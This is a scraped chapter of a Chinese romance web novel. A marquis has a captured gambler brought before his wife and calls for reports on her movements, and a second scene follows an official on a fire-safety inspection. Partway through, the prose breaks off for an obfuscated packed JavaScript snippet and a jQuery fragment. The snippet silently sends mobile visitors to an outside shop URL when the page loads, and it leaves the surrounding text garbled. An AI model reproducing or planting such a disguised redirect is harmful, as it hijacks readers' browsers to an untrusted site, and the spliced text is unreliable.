文趣网 > 其他小说 > 成亲后夫君他又争又抢 > 20. 第 20 章
    是夜。

    陆轻鸿独坐院中,树影随着夜风摇摆不定,沙沙声响不绝于耳。

    他斟了一杯酒,送入口中。

    苍狼卫首席周景拖着一个麻袋从天而降,跪在了陆轻鸿脚边。

    “把岳仁也叫来。”他低声说道。

    “是!”周景领命,趁着陆轻鸿没注意踢了麻袋一脚,麻袋里顿时传出一阵哀嚎。这酒囊饭袋一路挣扎,费了他不少事,他正在记仇。

    陆轻鸿警告地瞥了他一眼,周景再不敢胡来。

    等该到的人都到齐了,陆轻鸿放下酒盏,问起了情况。

    周景说,这赌坊后面连着的是太子近臣,来头不小。赌坊的营收太子也分了杯羹,所以那些人才有恃无恐绑了包括陈承宇在内的官员子弟。但是他们也不敢给背后之人惹麻烦,平日里经营都是照着规矩来,算是难得合规矩的赌坊了,所以皇帝也睁一只眼闭一只眼,只当是太子自己挣的外快。

    今日傍晚陈康平就花钱要赎回陈承宇,只是因为陈承宇这人心思活泛,极难管教,赌坊的人将他隔离在了偏远郊外,一时半会儿交不出人。所以周景跟了一路,才在半道上得手将人截了下来。

    “嗯。”陆轻鸿对他的任务还算是满意,轻点了一下头,“你先下去吧。”

    周景很快拖着麻袋就退下了。

    现在轮到岳仁了。岳仁是前苍狼卫首席,但因年纪大了,不再适合浴血奋战,陆轻鸿便将他安排在了陈昭宁的院中当个护院头领,时刻关注着陈昭宁的安危,又可以说是监视。

    关于陈昭宁的所有动向,她见了什么人,说了什么话,这些东西,只要陆轻鸿想知道,护院就得如实禀报。

    岳仁对陆家忠心耿耿,哪怕知晓陆轻鸿此举稍显极端,仍旧尽心尽力地完成。

    他跟着老宣武侯出生入死多年,又一路辅佐陆轻鸿坐稳侯爷的位子,唯一的感受就是,小侯爷大抵受过去之事的刺激太大,已经草木皆兵,比谁都要缺乏安全感,所以他想要掌控一切能掌控的事物,包括人。

    他如此关注侯夫人,应当不是出于不信任或者戒备,反而是因为重视,甚至出自爱。

    “陈康平是怎么找夫人拿钱的?”陆轻鸿语气冷冷的。

    常年战场上锻炼出的反应,让岳仁很快察觉到陆轻鸿身上那浓烈的愤怒与杀意。

    岳仁也没想隐瞒,将二人的对话一字不差的说了出来,就连陈昭宁躲起来哭的事情,他也没忘记禀报。

    陆轻鸿慢慢平静下来,“你也退下吧。”

    等人都退下,院落又困于寂静中。照明烛台中的蜡烛早早被值夜的下人剪去灯芯,任凭浓稠的黑夜吞噬侯府的每一个角落。

    陆轻鸿想起什么,轻笑了一下。随后起身,凭借着记忆走回陈昭宁的房中。

    陈昭宁每日醒来的第一件事就是看看自己的手脚都摆在哪里。果不其然,这一睁眼,发现自己半个身子都挂在了陆轻鸿身上。

    陆轻鸿自从搬进了她的房中,几乎日日都起得比原先要迟。硬要说的话,是拜她所赐,压根起不来。因为她不是搂着陆轻鸿的胳膊就是扯着他的中衣前襟,就连腿也横搭在他身上。陆轻鸿若是想挣脱开,少不得要费一番功夫。

    她睁开眼,就是一个衣衫不整的美男子神情淡然地无声控诉自己的登徒子行为。

    陈昭宁的脸皮已经比早些日子要厚得多,她现在已经可以面不改色地与前襟大敞的陆轻鸿说一声“早”,然后再翻下床让谷雨伺候她穿衣洗漱了。她再不是那个会小心翼翼检讨自己举止是否太过豪放的陈昭宁了。

    反正也改不了,还不如不去想了。

    陆轻鸿抱着还挺舒服的,难怪她日日都能睡个好觉。因为心里悄悄将他当成了个大枕头,所以陈昭宁除了第一日晚上后,再没有抗拒过陆轻鸿出现在她床上。他睡觉比自己老实多了,还让摸让抱的,哪里嫌弃得起来。是他该嫌弃自己还差不多。

    用完早膳,陆轻鸿难得没有去处理他的公务,反而让陈昭宁去他的院子里,说有件东西,想问问她怎么处置。

    陈昭宁原以为是侯府要添置什么,她其实并不在乎,只要陆轻鸿自己喜欢不就成?但是,难得陆轻鸿找她帮忙,她没理由不给面子。

    陈承宇的左眼眶是青紫色的,眼皮耷拉下来黏在一处,他的嘴巴被一块发酸发臭的破抹布堵上,人也被绑在一棵树上。他另一只肿起来的右眼只能依稀看到一个粉裙少女朝他走来,却看不清面貌。窈窕的身姿,白嫩的肌肤,应当是美人。

    陈承宇一下愣住,竟不知倘若有机会开口,是该先向她求救还是先问她的芳名。

    “他怎么在这儿?”陈昭宁很是意外。

    陆轻鸿端坐在院中的石凳上,看向陈昭宁的眼神带着一些讨好奉承之意,他勾唇问道,“你想如何处置他?杀了?剁手?都可以,只要你能高兴。”

    他的态度好像在说,这仿佛是一件再平常不过的事情,眼前之人的性命无关紧要,只要你想,怎么都行。

    陈昭宁面露诧异,陆轻鸿如果只是单纯没将一条人命放在眼里,她或许能够理解,因为他是从战场归来,在那样的修罗地狱他杀人早就杀到麻木,一时难以回归和平的生活也算情有可原。可是,陆轻鸿的反应更像是没有意识到自己对生命的漠视。

    这与平时做事滴水不漏的他相比,显得反常。但陈昭宁一厢情愿地以为是自己想太多,陆轻鸿最是通情达理,怎么会如自己想的那样。

    “陈康平已经花钱赎回他了,这件事与我再无瓜葛,不然还是放了他吧。”陈昭宁试探性地朝陈承宇走了两步,见陆轻鸿也没制止,就大着胆子替他解开了麻绳。

    陆轻鸿注视着她的一言一行。他眨了眨眼,轻笑了一声,“夫人不会真信我真要杀他吧?这是苍狼卫从赌坊救回来的。”

    “……”陈昭宁后怕地拍了拍胸脯,吓死了,她还以为陆轻鸿真的突发恶疾变得丧心病狂了呢。

    “周景,把人好生送走。”陆轻鸿再不看陈承宇一眼。

    周景听出来陆轻鸿格外咬重的某两个字,知道自己还能在将人丢出去之前过过手瘾。谁让这家伙当时吓得尿裤子弄脏了自己的外衣!光在脸上来两拳哪够!他的衣服可是很难洗的!

    *

    陆江风在当值时,被毫无征兆地抓了壮丁,理由是京中一户人家家里蜡烛未及时熄灭,下人又惫懒偷闲导致失火,已经烧了一整个侧宅。负责的官员都要帮着去检查高门宅邸的防火布置,如有不合格的,需及时登记往上报。

    平时陆江风在官场上就是和气生财的风格,遇到了紧急事情,他总

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17597627|205445||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    是第一个被惦记上的。这回事情找上他,他二话没说地跟上了,问负责的官员自己需要怎么做才合适。

    “陆大人就只管赶紧纵马去检查着火的房屋附近有无被波及的,其余的人手下官已经安排好了。”到底是求人帮忙,他也不敢真让陆江风出太多力,因为他到底没做过这些事,弄出问题反而不妙。

    “那我要去哪条街?”陆江风脸上笑意盈盈的,没一点不耐烦。

    “我记得根据通传,似乎在永兴街上……啊!正好临着公主府!不过无忧郡主已经出嫁,想来安全方面不会有闪失。”那名官员说到最后,松了口气。

    “……”陆江风的脸色截然相反。那可是陈昭宁的娘家!万一真出了闪失,修缮过程中她跟兄长吵架该回哪儿去住!他必须得去看看情况了。

    那官员痴痴地看大步流星离去的陆江风,沉浮宦海数十年,头一次有人为他的请求迫切伸出援手,那一往无前的背影,让他心里生出莫名的感动。要是自己晚生个三十年,投个女儿身该多好……碰到这样挺身而出的陆江风,他一定会嫁的。现在呢,顶多当个忘年交,那还得陆江风不嫌他有谢顶的毛病。

    说是让他骑马去看看情况,陆江风拿了能在各个府邸中通行无阻的令牌就火急火燎一路奔去永兴街。骑马要注意避让路上的密集的行人和马车,反倒碍事。靠着两条一刻不停的腿跑去,也许还能早些到。

    滚滚黑烟直冲云霄,一旁的下人哭的撕心裂肺,几度昏厥又醒来继续流泪。这场火后,想来主人家不会让他们好过。能在这条街上拥有住宅的,本就是富贵权势之人,就算不去计算被烧掉的摆设家具,光是宅子本身就用料精贵,是他们下人几辈子都赔不起的。

    陆江风没有闲工夫去关注这些琐事,他拿着令牌给公主府的门房看,一个箭步冲进公主府中,来到两家相隔的那面墙壁。

    正巧,一名丫鬟正抱着火盆和一沓折起的信纸走到祠堂。

    陆江风急火攻心,呵斥了一声,“隔壁的烟都给公主府的墙壁熏黑了,你还敢在这里烧纸!真不怕公主府也被点着吗!”

    丫鬟听到陌生男子的声音,吓得一抖,手中的信纸扑啦啦地撒了一地,铜盆也摔在地上发出一声轻响。

    几个老嬷嬷走过来,劝了陆江风几句,说这是陈昭宁昨日来时交给她们烧掉的信笺。

    这是她自长公主去世后就有的习惯。

    陆大人若是不满意,她们便当着他的面烧。府里早在隔壁失火后就做好了防火举措,殃及不过来。

    陆江风勉为其难地点点头,“日后府里用火也要当心。我再去检查一遍,你们就在外头烧,我看着你们烧完再走。”

    丫鬟和嬷嬷都没有意见,当着陆江风的面就把积攒了三个月的信封堆在一处,一份一份送入火盆中。

    陆江风走回来,心念一动。陈昭宁会写什么?她成亲后过得究竟如何?是否有被兄长欺负?

    这些心里话,除了付之一炬,她大概无法与任何人说起,该藏得多难受啊。

    明知非礼勿视,陆江风心里却有一道隐秘的声音响起:拆开看看吧,你跟她关系这么好,怎么能让旁人有机会欺负她。你这是保护她,不是存心害她。陆轻鸿原本就不待见陈昭宁,他真的会好好对她吗?答案都在这里,一看便知。